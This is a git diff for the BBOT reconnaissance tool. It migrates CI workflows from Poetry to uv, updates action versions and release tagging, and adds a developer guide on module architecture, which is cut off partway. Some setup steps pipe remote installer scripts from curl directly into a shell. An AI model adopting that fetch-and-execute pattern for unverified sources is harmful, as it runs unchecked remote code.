diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index 1ad88ccb68..86128d1eb9 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -1,6 +1,6 @@
 version: 2
 updates:
-  - package-ecosystem: "pip"
+  - package-ecosystem: "uv"
     directory: "/"
     schedule:
       interval: "weekly"
diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml
index 5b486a8bb5..a34b3f0e4c 100644
--- a/.github/workflows/benchmark.yml
+++ b/.github/workflows/benchmark.yml
@@ -18,9 +18,9 @@ permissions:
 jobs:
   benchmark:
     runs-on: ubuntu-latest
-    
+
     steps:
-    - uses: actions/checkout@v6
+    - uses: actions/checkout@v7
       with:
         fetch-depth: 0  # Need full history for branch comparison
 
@@ -29,10 +29,11 @@ jobs:
       with:
         python-version: "3.11"
 
+    - name: Install uv
+      uses: astral-sh/setup-uv@v7
+
     - name: Install dependencies
-      run: |
-        pip install poetry
-        poetry install --with dev
+      run: uv sync --group dev
 
     - name: Install system dependencies
       run: |
@@ -42,7 +43,7 @@ jobs:
     # Generate benchmark comparison report using our branch-based script
     - name: Generate benchmark comparison report
       run: |
-        poetry run python bbot/scripts/benchmark_report.py \
+        uv run python bbot/scripts/benchmark_report.py \
           --base ${{ github.base_ref }} \
           --current ${{ github.head_ref }} \
           --output benchmark_report.md \
@@ -51,7 +52,7 @@ jobs:
 
     # Upload benchmark results as artifacts
     - name: Upload benchmark results
-      uses: actions/upload-artifact@v6
+      uses: actions/upload-artifact@v7
       with:
         name: benchmark-results
         path: |
@@ -62,105 +63,89 @@ jobs:
 
     # Comment on PR with benchmark results
     - name: Comment benchmark results on PR
-      uses: actions/github-script@v8
+      uses: actions/github-script@v9
       with:
         script: |
           const fs = require('fs');
-          
-          try {
-            const report = fs.readFileSync('benchmark_report.md', 'utf8');
-            
-            // Find existing benchmark comment (with pagination)
+
+          // Helper: find existing benchmark comments on this PR
+          async function findBenchmarkComments() {
             const comments = await github.rest.issues.listComments({
               owner: context.repo.owner,
               repo: context.repo.repo,
               issue_number: context.issue.number,
-              per_page: 100, // Get more comments per page
+              per_page: 100,
             });
-            
-            // Debug: log all comments to see what we're working with
+
             console.log(`Found ${comments.data.length} comments on this PR`);
-            comments.data.forEach((comment, index) => {
-              console.log(`Comment ${index}: user=${comment.user.login}, body preview="${comment.body.substring(0, 100)}..."`);
-            });
-            
-            const existingComments = comments.data.filter(comment => 
+
+            const benchmarkComments = comments.data.filter(comment =>
               comment.body.toLowerCase().includes('performance benchmark') &&
               comment.user.login === 'github-actions[bot]'
             );
-            
-            console.log(`Found ${existingComments.length} existing benchmark comments`);
-            
-            if (existingComments.length > 0) {
-              // Sort comments by creation date to find the most recent
-              const sortedComments = existingComments.sort((a, b) => 
+
+            console.log(`Found ${benchmarkComments.length} existing benchmark comments`);
+            return benchmarkComments;
+          }
+
+          // Helper: post or update the benchmark comment
+          async function upsertComment(body) {
+            const existing = await findBenchmarkComments();
+
+            if (existing.length > 0) {
+              const sorted = existing.sort((a, b) =>
                 new Date(b.created_at) - new Date(a.created_at)
               );
-              
-              const mostRecentComment = sortedComments[0];
-              console.log(`Updating most recent benchmark comment: ${mostRecentComment.id} (created: ${mostRecentComment.created_at})`);
-              
+
               await github.rest.issues.updateComment({
                 owner: context.repo.owner,
                 repo: context.repo.repo,
-                comment_id: mostRecentComment.id,
-                body: report
+                comment_id: sorted[0].id,
+                body: body
               });
-              console.log('Updated existing benchmark comment');
-              
-              // Delete any older duplicate comments
-              if (existingComments.length > 1) {
-                console.log(`Deleting ${existingComments.length - 1} older duplicate comments`);
-                for (let i = 1; i < sortedComments.length; i++) {
-                  const commentToDelete = sortedComments[i];
-                  console.log(`Attempting to delete comment ${commentToDelete.id} (created: ${commentToDelete.created_at})`);
-                  
-                  try {
-                    await github.rest.issues.deleteComment({
-                      owner: context.repo.owner,
-                      repo: context.repo.repo,
-                      comment_id: commentToDelete.id
-                    });
-                    console.log(`Successfully deleted duplicate comment: ${commentToDelete.id}`);
-                  } catch (error) {
-                    console.error(`Failed to delete comment ${commentToDelete.id}: ${error.message}`);
-                    console.error(`Error details:`, error);
-                  }
+              console.log(`Updated benchmark comment: ${sorted[0].id}`);
+
+              // Clean up older duplicates
+              for (let i = 1; i < sorted.length; i++) {
+                try {
+                  await github.rest.issues.deleteComment({
+                    owner: context.repo.owner,
+                    repo: context.repo.repo,
+                    comment_id: sorted[i].id
+                  });
+                  console.log(`Deleted duplicate comment: ${sorted[i].id}`);
+                } catch (e) {
+                  console.error(`Failed to delete comment ${sorted[i].id}: ${e.message}`);
                 }
               }
             } else {
-              // Create new comment
               await github.rest.issues.createComment({
                 owner: context.repo.owner,
                 repo: context.repo.repo,
                 issue_number: context.issue.number,
-                body: report
+                body: body
               });
               console.log('Created new benchmark comment');
             }
-          } catch (error) {
-            console.error('Failed to post benchmark results:', error);
-            
-            // Post a fallback comment
-            const fallbackMessage = [
-              '## Performance Benchmark Report',
-              '',
-              '> ⚠️ **Failed to generate detailed benchmark comparison**',
-              '> ',
-              '> The benchmark comparison failed to run. This might be because:',
-              '> - Benchmark tests don\'t exist on the base branch yet',
-              '> - Dependencies are missing', 
-              '> - Test execution failed',
-              '> ',
-              '> Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details.',
-              '> ',
-              '> 📁 Benchmark artifacts may be available for download from the workflow run.'
-            ].join('\\n');
-            
-            await github.rest.issues.createComment({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              issue_number: context.issue.number,
-              body: fallbackMessage
-            });
-          } 
\ No newline at end of file
+          }
+
+          let report;
+          try {
+            report = fs.readFileSync('benchmark_report.md', 'utf8');
+          } catch (e) {
+            console.error('Failed to read benchmark report:', e.message);
+            report = `## Performance Benchmark Report
+
+          > **Failed to generate detailed benchmark comparison**
+          >
+          > The benchmark comparison failed to run. This might be because:
+          > - Benchmark tests don't exist on the base branch yet
+          > - Dependencies are missing
+          > - Test execution failed
+          >
+          > Please check the [workflow logs](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }}) for details.
+          >
+          > Benchmark artifacts may be available for download from the workflow run.`;
+          }
+
+          await upsertComment(report);
diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml
index 089210cefe..bc28e132f0 100644
--- a/.github/workflows/cla.yml
+++ b/.github/workflows/cla.yml
@@ -11,5 +11,5 @@ permissions:
 
 jobs:
   cla:
-    uses: blacklanternsecurity/.github/.github/workflows/cla-reusable.yml@main
+    uses: blacklanternsecurity/CLA/.github/workflows/cla-reusable.yml@main
     secrets: inherit
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
index 3b4d8e2bb7..7117a72e89 100644
--- a/.github/workflows/codeql.yml
+++ b/.github/workflows/codeql.yml
@@ -55,7 +55,7 @@ jobs:
         # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
     steps:
     - name: Checkout repository
-      uses: actions/checkout@v6
+      uses: actions/checkout@v7
 
     # Add any setup steps before running the `github/codeql-action/init` action.
     # This includes steps like installing compilers or runtimes (`actions/setup-node`
diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml
index 72b73dcacc..66ca3f03a4 100644
--- a/.github/workflows/distro_tests.yml
+++ b/.github/workflows/distro_tests.yml
@@ -14,14 +14,14 @@ jobs:
     strategy:
       fail-fast: false
       matrix:
-        os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling", "parrotsec/security"]
+        os: ["ubuntu:22.04", "ubuntu:24.04", "debian", "archlinux", "fedora", "kalilinux/kali-rolling"]
     steps:
-      - uses: actions/checkout@v6
-      - name: Install Python and Poetry
+      - uses: actions/checkout@v7
+      - name: Install Python and uv
         run: |
           if [ -f /etc/os-release ]; then
             . /etc/os-release
-            if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ] || [ "$ID" = "parrotsec" ]; then
+            if [ "$ID" = "ubuntu" ] || [ "$ID" = "debian" ] || [ "$ID" = "kali" ]; then
               export DEBIAN_FRONTEND=noninteractive
               apt-get update
               apt-get -y install curl git bash build-essential docker.io libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev
@@ -38,35 +38,23 @@ jobs:
             fi
           fi
 
-          # Re-run the script with bash
-          exec bash -c "
-            curl https://pyenv.run | bash
-            export PATH=\"$HOME/.pyenv/bin:\$PATH\"
-            export PATH=\"$HOME/.local/bin:\$PATH\"
-            eval \"\$(pyenv init --path)\"
-            eval \"\$(pyenv init -)\"
-            eval \"\$(pyenv virtualenv-init -)\"
-            pyenv install 3.11
-            pyenv global 3.11
-            pyenv rehash
-            python3.11 -m pip install --user pipx
-            python3.11 -m pipx ensurepath
-            pipx install poetry
-          "
+          # Install uv (standalone binary, no Python prerequisite)
+          curl -LsSf https://astral.sh/uv/install.sh | sh
       - name: Set OS Environment Variable
         run: echo "OS_NAME=${{ matrix.os }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV
       - name: Run tests
         run: |
-          export PATH="$HOME/.local/bin:$PATH"
-          export PATH="$HOME/.pyenv/bin:$PATH"
-          export PATH="$HOME/.pyenv/shims:$PATH"
+          export PATH="/github/home/.local/bin:$PATH"
+          # Fix HOME to match euid (root) so rustup/cargo don't refuse to build
+          export HOME="$(getent passwd $(whoami) | cut -d: -f6)"
           export BBOT_DISTRO_TESTS=true
-          poetry env use python3.11
-          poetry install
-          poetry run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO .
+          uv python install 3.12
+          uv python pin 3.12
+          uv sync --group dev
+          uv run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO .
       - name: Upload Debug Logs
         if: always()
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: pytest-debug-logs-${{ env.OS_NAME }}
           path: pytest_debug.log
diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml
index 94d5222aca..4ad688e9d2 100644
--- a/.github/workflows/docs_updater.yml
+++ b/.github/workflows/docs_updater.yml
@@ -9,7 +9,7 @@ jobs:
   update_docs:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }}
           ref: dev  # Checkout the dev branch
@@ -17,13 +17,13 @@ jobs:
         uses: actions/setup-python@v6
         with:
           python-version: "3.x"
+      - name: Install uv
+        uses: astral-sh/setup-uv@v7
       - name: Install dependencies
-        run: |
-          pip install poetry
-          poetry install
+        run: uv sync --frozen --group dev
       - name: Generate docs
         run: |
-          poetry run bbot/scripts/docs.py
+          uv run --no-sync bbot/scripts/docs.py
       - name: Create or Update Pull Request
         uses: peter-evans/create-pull-request@v8
         with:
diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml
index 1db07ac6b8..f5a828e7f2 100644
--- a/.github/workflows/tests.yml
+++ b/.github/workflows/tests.yml
@@ -17,34 +17,36 @@ jobs:
       # if one python version fails, let the others finish
       fail-fast: false
       matrix:
-        python-version: ["3.10", "3.11", "3.12", "3.13"]
+        python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
       - name: Set up Python
         uses: actions/setup-python@v6
         with:
           python-version: ${{ matrix.python-version }}
       - name: Set Python Version Environment Variable
         run: echo "PYTHON_VERSION=${{ matrix.python-version }}" | sed 's|[:/]|_|g' >> $GITHUB_ENV
+      - name: Install uv
+        uses: astral-sh/setup-uv@v7
       - name: Install dependencies
-        run: |
-          pip install poetry
-          poetry install
+        run: uv sync --group dev
       - name: Lint
         run: |
-          poetry run ruff check
-          poetry run ruff format --check
+          uv run ruff check
+          uv run ruff format --check
       - name: Run tests
+        env:
+          BBOT_IO_API_KEY: ${{ secrets.BBOT_IO_API_KEY }}
         run: |
-          poetry run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot .
+          uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot .
       - name: Upload Debug Logs
         if: always()
-        uses: actions/upload-artifact@v6
+        uses: actions/upload-artifact@v7
         with:
           name: pytest-debug-logs-${{ env.PYTHON_VERSION }}
           path: pytest_debug.log
       - name: Upload Code Coverage
-        uses: codecov/codecov-action@v5
+        uses: codecov/codecov-action@v7
         with:
           token: ${{ secrets.CODECOV_TOKEN }}
           files: ./cov.xml
@@ -55,13 +57,13 @@ jobs:
     if: github.event_name == 'push' && (github.ref == 'refs/heads/dev' || github.ref == 'refs/heads/stable')
     continue-on-error: true
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           fetch-depth: 0
       - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v4
       - name: Login to Docker Hub
-        uses: docker/login-action@v3
+        uses: docker/login-action@v4
         with:
           username: ${{ secrets.DOCKER_USERNAME }}
           password: ${{ secrets.DOCKER_PASSWORD }}
@@ -69,23 +71,47 @@ jobs:
         uses: actions/setup-python@v6
         with:
           python-version: "3.x"
-      - name: Install dependencies
+      - name: Install uv
+        uses: astral-sh/setup-uv@v7
+      - name: Calculate version
+        id: calc_version
         run: |
-          python -m pip install --upgrade pip
-          pip install poetry build
-          poetry self add "poetry-dynamic-versioning[plugin]"
+          # Source of truth for base version is pyproject.toml
+          BASE_VERSION=$(python3 -c "
+          import re
+          text = open('pyproject.toml').read()
+          print(re.search(r'^version\s*=\s*\"([^\"]+)\"', text, re.MULTILINE).group(1))
+          ")
+
+          if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then
+            VERSION="$BASE_VERSION"
+          elif [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then
+            # Dev: base version + commit distance from stable as rc (e.g., 3.0.0.123rc)
+            STABLE_HEAD=$(git rev-parse origin/stable 2>/dev/null || git rev-list --max-parents=0 HEAD)
+            DISTANCE=$(git rev-list ${STABLE_HEAD}..HEAD --count)
+            VERSION="${BASE_VERSION}.${DISTANCE}rc"
+          fi
+
+          echo "VERSION=$VERSION" >> $GITHUB_OUTPUT
+          echo "Calculated version: $VERSION"
+
+          # For dev builds, write the rc version to pyproject.toml for hatchling
+          # Stable builds use pyproject.toml as-is
+          if [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then
+            sed -i "s/^version = .*/version = \"$VERSION\"/" pyproject.toml
+          fi
       - name: Build Pypi package
         if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev'
-        run: python -m build
+        run: uv build
       - name: Publish Pypi package
         if: github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev'
-        uses: pypa/gh-action-pypi-publish@release/v1.13
+        uses: pypa/gh-action-pypi-publish@release/v1.14
         with:
           password: ${{ secrets.PYPI_API_TOKEN }}
       - name: Get BBOT version
         id: version
         run: |
-          FULL_VERSION=$(poetry version | cut -d' ' -f2)
+          FULL_VERSION="${{ steps.calc_version.outputs.VERSION }}"
           echo "BBOT_VERSION=$FULL_VERSION" >> $GITHUB_OUTPUT
           # Extract major.minor (e.g., 2.7 from 2.7.1)
           MAJOR_MINOR=$(echo "$FULL_VERSION" | cut -d'.' -f1-2)
@@ -95,48 +121,44 @@ jobs:
           echo "BBOT_VERSION_MAJOR=$MAJOR" >> $GITHUB_OUTPUT
       - name: Publish to Docker Hub (dev)
         if: github.event_name == 'push' && github.ref == 'refs/heads/dev'
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           push: true
           context: .
           tags: |
-            blacklanternsecurity/bbot:latest
             blacklanternsecurity/bbot:dev
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}
-            blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}
-            blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }}
       - name: Publish to Docker Hub (stable)
         if: github.event_name == 'push' && github.ref == 'refs/heads/stable'
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           push: true
           context: .
           tags: |
+            blacklanternsecurity/bbot:latest
             blacklanternsecurity/bbot:stable
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }}
       - name: Publish Full Docker Image to Docker Hub (dev)
         if: github.event_name == 'push' && github.ref == 'refs/heads/dev'
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           push: true
           file: Dockerfile.full
           context: .
           tags: |
-            blacklanternsecurity/bbot:latest-full
             blacklanternsecurity/bbot:dev-full
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full
-            blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}-full
-            blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR }}-full
       - name: Publish Full Docker Image to Docker Hub (stable)
         if: github.event_name == 'push' && github.ref == 'refs/heads/stable'
-        uses: docker/build-push-action@v6
+        uses: docker/build-push-action@v7
         with:
           push: true
           file: Dockerfile.full
           context: .
           tags: |
+            blacklanternsecurity/bbot:latest-full
             blacklanternsecurity/bbot:stable-full
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION }}-full
             blacklanternsecurity/bbot:${{ steps.version.outputs.BBOT_VERSION_MAJOR_MINOR }}-full
@@ -177,27 +199,49 @@ jobs:
           done
     outputs:
       BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }}
+  tag_commit:
+    needs: publish_code
+    runs-on: ubuntu-latest
+    if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev')
+    steps:
+      - uses: actions/checkout@v7
+        with:
+          fetch-depth: 0
+      - name: Configure git
+        run: |
+          git config --local user.email "info@blacklanternsecurity.com"
+          git config --local user.name "GitHub Actions"
+      - name: Tag commit
+        run: |
+          VERSION="v${{ needs.publish_code.outputs.BBOT_VERSION }}"
+          if [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then
+            git tag -a "$VERSION" -m "Stable Release $VERSION"
+          else
+            git tag -a "$VERSION" -m "Dev Release $VERSION"
+          fi
+          git push origin "$VERSION"
+
   publish_docs:
     runs-on: ubuntu-latest
     if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev')
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           token: ${{ secrets.BBOT_DOCS_UPDATER_PAT }}
       - uses: actions/setup-python@v6
         with:
           python-version: "3.11"
       - run: echo "cache_id=$(date --utc '+%V')" >> $GITHUB_ENV
-      - uses: actions/cache@v5
+      - uses: actions/cache@v6
         with:
           key: mkdocs-material-${{ env.cache_id }}
           path: .cache
           restore-keys: |
             mkdocs-material-
+      - name: Install uv
+        uses: astral-sh/setup-uv@v7
       - name: Install dependencies
-        run: |
-          pip install poetry
-          poetry install --only=docs
+        run: uv sync --frozen --group docs
       - name: Configure Git
         run: |
           git config user.name github-actions
@@ -211,35 +255,12 @@ jobs:
       - name: Generate docs (stable branch)
         if: github.ref == 'refs/heads/stable'
         run: |
-          poetry run mike deploy Stable
+          uv run --no-sync mike deploy Stable
       - name: Generate docs (dev branch)
         if: github.ref == 'refs/heads/dev'
         run: |
-          poetry run mike deploy Dev
+          uv run --no-sync mike deploy Dev
       - name: Publish docs
         run: |
           git switch gh-pages
           git push
-  # tag_commit:
-  #   needs: publish_code
-  #   runs-on: ubuntu-latest
-  #   if: github.event_name == 'push' && github.ref == 'refs/heads/stable'
-  #   steps:
-  #     - uses: actions/checkout@v6
-  #       with:
-  #         ref: ${{ github.head_ref }}
-  #         fetch-depth: 0 # Fetch all history for all tags and branches
-  #     - name: Configure git
-  #       run: |
-  #         git config --local user.email "info@blacklanternsecurity.com"
-  #         git config --local user.name "GitHub Actions"
-  #     - name: Tag commit
-  #       run: |
-  #         VERSION="${{ needs.publish_code.outputs.BBOT_VERSION }}"
-  #         if [[ "${{ github.ref }}" == "refs/heads/dev" ]]; then
-  #           TAG_MESSAGE="Dev Release $VERSION"
-  #         elif [[ "${{ github.ref }}" == "refs/heads/stable" ]]; then
-  #           TAG_MESSAGE="Stable Release $VERSION"
-  #         fi
-  #         git tag -a $VERSION -m "$TAG_MESSAGE"
-  #         git push origin --tags
diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml
index e3d6237d2c..446788c328 100644
--- a/.github/workflows/version_updater.yml
+++ b/.github/workflows/version_updater.yml
@@ -9,7 +9,7 @@ jobs:
   update-nuclei-version:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           ref: dev
           fetch-depth: 0
@@ -36,12 +36,12 @@ jobs:
       - name: Get current version
         id: get-current-version
         run: |
-          version=$(grep -m 1 -oP '(?<=version": ")[^"]*' bbot/modules/nuclei.py)
+          version=$(grep -m 1 -oP '(?<=Field\(")[^"]*' bbot/modules/nuclei.py)
           echo "current_version=$version" >> $GITHUB_ENV
       - name: Update version
         id: update-version
         if: env.latest_version != env.current_version
-        run: "sed -i '0,/\"version\": \".*\",/ s/\"version\": \".*\",/\"version\": \"${{ env.latest_version }}\",/g' bbot/modules/nuclei.py"
+        run: "sed -i '0,/Field(\"[^\"]*\",/ s/Field(\"[^\"]*\",/Field(\"${{ env.latest_version }}\",/' bbot/modules/nuclei.py"
       - name: Create pull request to update the version
         if: steps.update-version.outcome == 'success'
         uses: peter-evans/create-pull-request@v8
@@ -61,7 +61,7 @@ jobs:
   update-trufflehog-version:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v6
+      - uses: actions/checkout@v7
         with:
           ref: dev
           fetch-depth: 0
@@ -88,12 +88,12 @@ jobs:
       - name: Get current version
         id: get-current-version
         run: |
-          version=$(grep -m 1 -oP '(?<=version": ")[^"]*' bbot/modules/trufflehog.py)
+          version=$(grep -m 1 -oP '(?<=Field\(")[^"]*' bbot/modules/trufflehog.py)
           echo "current_version=$version" >> $GITHUB_ENV
       - name: Update version
         id: update-version
         if: env.latest_version != env.current_version
-        run: "sed -i '0,/\"version\": \".*\",/ s/\"version\": \".*\",/\"version\": \"${{ env.latest_version }}\",/g' bbot/modules/trufflehog.py"
+        run: "sed -i '0,/Field(\"[^\"]*\",/ s/Field(\"[^\"]*\",/Field(\"${{ env.latest_version }}\",/' bbot/modules/trufflehog.py"
       - name: Create pull request to update the version
         if: steps.update-version.outcome == 'success'
         uses: peter-evans/create-pull-request@v8
diff --git a/.gitignore b/.gitignore
index 0c6b86a341..84360a1600 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,3 +2,5 @@ __pycache__/
 .coverage*
 /data/
 /neo4j/
+.DS_Store
+pytest_debug.log
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 0000000000..c86e5cf4e1
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,951 @@
+# BBOT Developer Guide
+
+## Core Principles
+
+### Modularity Principle
+When writing a BBOT module, make sure all module-specific code lives in the module itself. Don't hard-code module-specific things in core or in helpers.
+
+### DRY Principle
+Don't Repeat Yourself -- and interpret this broadly. If two pieces of code aren't identical but follow a similar enough pattern that they could be generalized, they should be. Extract shared logic into a common abstraction rather than duplicating the pattern. Usually this means creating a shared helper, or a shared module template in `bbot/modules/templates`. When you notice structural similarity, unify it.
+
+### Engineering Principle
+Every system that is implemented must be implemented properly. No hacks, no hardcoding, no shortcuts. If we implement one of something, we build a proper system for it. It's okay to take a step back from the current task, in order to do things right. This relates directly to the Modularity Principle above.
+
+### Testing Principle
+BBOT has extremely thorough tests, including **one or more individual tests for each module, with no exceptions**. This is critical to maintaining stability in a recursive tool, which by its nature flirts with race conditions and infinite loops. If you add a module, you write a test. If you change a module, you make sure its test still passes.
+
+---
+
+## Tooling
+
+- **Package manager**: [uv](https://docs.astral.sh/uv/)
+- **Linter/formatter**: [ruff](https://docs.astral.sh/ruff/) (pinned to 0.15.10)
+- **Test framework**: [pytest](https://docs.pytest.org/) with pytest-asyncio
+- **Python**: 3.10 - 3.14
+
+---
+
+## Dev Environment Setup
+
+```bash
+# 1. Fork and clone
+git clone git@github.com:<you>/bbot.git
+cd bbot
+
+# 2. Switch to dev branch, then create a feature branch
+git checkout dev
+git checkout -b my-feature
+
+# 3. Install uv (if you haven't already)
+curl -LsSf https://astral.sh/uv/install.sh | sh
+
+# 4. Install all dependencies (including dev)
+uv sync --group dev
+
+# 5. Install pre-commit hooks (ruff, file checks, etc.)
+uv run pre-commit install
+
+# 6. Activate the virtualenv
+source .venv/bin/activate
+
+# 7. Verify
+bbot --help
+```
+
+### Running Tests
+
+```bash
+# Run the full suite
+./bbot/test/run_tests.sh
+
+# Run specific module tests
+./bbot/test/run_tests.sh robots,sslcert
+
+# Run a single test file directly
+pytest bbot/test/test_step_2/module_tests/test_module_robots.py -x -vv
+```
+
+### Linting
+
+```bash
+ruff check          # lint
+ruff format          # auto-format
+ruff format --check  # verify formatting without changes
+```
+
+### Git Workflow
+
+- `stable` - production releases
+- `dev` - active development, **almost all PRs should target this branch**
+- Feature branches should be created from `dev`
+
+---
+
+## Architecture Overview
+
+### How a Scan Works
+
+BBOT is an async, recursive OSINT tool. A scan starts with **seed events** (targets) and passes them through a pipeline of **modules**. Each module watches for specific event types, processes them, and may emit new events, which feed back into the pipeline. This continues until no module has anything left to do.
+
+```
+                     Seeds (targets)
+                          |
+                          v
+                   +--------------+
+                   | ScanIngress  |  dedup, blacklist, scope check
+                   +--------------+
+                          |
+                          v
+                   +--------------+
+                   |  Intercept   |  dns, cloud tagging
+                   |   Modules    |  (modify/tag events before distribution)
+                   +--------------+
+                          |
+                          v
+                   +--------------+
+                   |  ScanEgress  |  scope filtering, graph management
+                   +--------------+
+                          |
+                          v
+              +-----------+-----------+
+              |           |           |
+           Module A    Module B    Module C   ...
+              |           |           |
+              +-----------+-----------+
+                          |
+                          v
+                   Output Modules (json, csv, neo4j, ...)
+```
+
+### Events
+
+Events are the currency of BBOT. Every piece of data -- a hostname, IP, URL, open port, finding -- is an event. Events have:
+
+- **type**: `DNS_NAME`, `IP_ADDRESS`, `URL`, `OPEN_TCP_PORT`, `HTTP_RESPONSE`, `FINDING`, `EMAIL_ADDRESS`, etc.
+- **data**: the actual data (a string, dict, etc.)
+- **parent**: the event that led to this one (forming a discovery chain)
+- **scope_distance**: how many hops from the original target (0 = in-scope)
+- **tags**: metadata like `in-scope`, `affiliate`, `cloud-azure`, `open-port`, etc.
+- **module**: which module discovered it
+
+### Scope Distance
+
+Scope distance tracks how far an event is from the original target:
+- `0` = explicitly in-scope (matches target or discovered in-scope)
+- `1` = one hop away (e.g. a hostname found in an SSL cert of an in-scope host)
+- `2+` = further away
+
+The scan's `scope.search_distance` (default 0) controls how far modules are allowed to look. A module's `scope_distance_modifier` adjusts this per-module.
+
+### Helpers
+
+BBOT has a helper for almost everything. **Please use them.** They're accessible via `self.helpers` inside any module.
+
+Key helpers:
+
+| Helper | What it does |
+|--------|-------------|
+| `self.helpers.request(url)` | Make an HTTP request (with retries, SSL handling, etc.) |
+| `self.helpers.blasthttp` | Shared blasthttp client (rate-limited via `web.http_rate_limit` config) |
+| `self.helpers.resolve(host)` | DNS resolution |
+| `self.helpers.is_ip(s)` | Check if string is an IP |
+| `self.helpers.is_dns_name(s)` | Check if string is a hostname |
+| `self.helpers.split_domain(host)` | Split into subdomain + root domain |
+| `self.helpers.domain_parents(domain)` | Get all parent domains |
+| `self.helpers.make_netloc(host, port)` | Format `host:port` (handles IPv6) |
+| `self.helpers.parent_domain(domain)` | Get immediate parent domain |
+| `self.helpers.beautifulsoup(html, parser)` | Parse HTML |
+| `self.helpers.validators.validate_host(h)` | Validate and normalize a hostname |
+| `self.helpers.tempfile(data, pipe=False)` | Create a temp file with content |
+| `self.helpers.run(command)` | Run a shell command |
+| `self.helpers.run_live(command)` | Run a shell command, stream output |
+| `self.helpers.as_completed(tasks)` | Async iteration of completed tasks |
+| `self.helpers.wordlist(url_or_path)` | Download/cache a wordlist |
+| `self.helpers.rand_string(n)` | Random string of length n |
+| `self.helpers.regexes.email_regex` | Pre-compiled email regex |
+| `self.helpers.add_get_params(url, params)` | Add query params to a URL |
+| `self.helpers.quote(s)` | URL-encode a string |
+| `self.helpers.make_ip_type(s)` | Convert string to `ipaddress` object |
+| `self.helpers.parse_port_string(s)` | Parse port range string (e.g. `"80,443,8000-9000"`) |
+| `self.helpers.top_tcp_ports(n)` | Get top N TCP ports |
+
+There are hundreds more in `bbot/core/helpers/misc.py`. Browse them before writing utility code yourself.
+
+---
+
+## Writing a Module
+
+### Quick Start
+
+1. Create `bbot/modules/my_module.py`
+2. Define a class that inherits from `BaseModule`
+3. Set `watched_events`, `produced_events`, `flags`, and `meta`
+4. Implement `handle_event()`
+5. Create `bbot/test/test_step_2/module_tests/test_module_my_module.py`
+
+Here's a minimal module:
+
+```python
+from bbot.modules.base import BaseModule
+
+
+class my_module(BaseModule):
+    watched_events = ["DNS_NAME"]
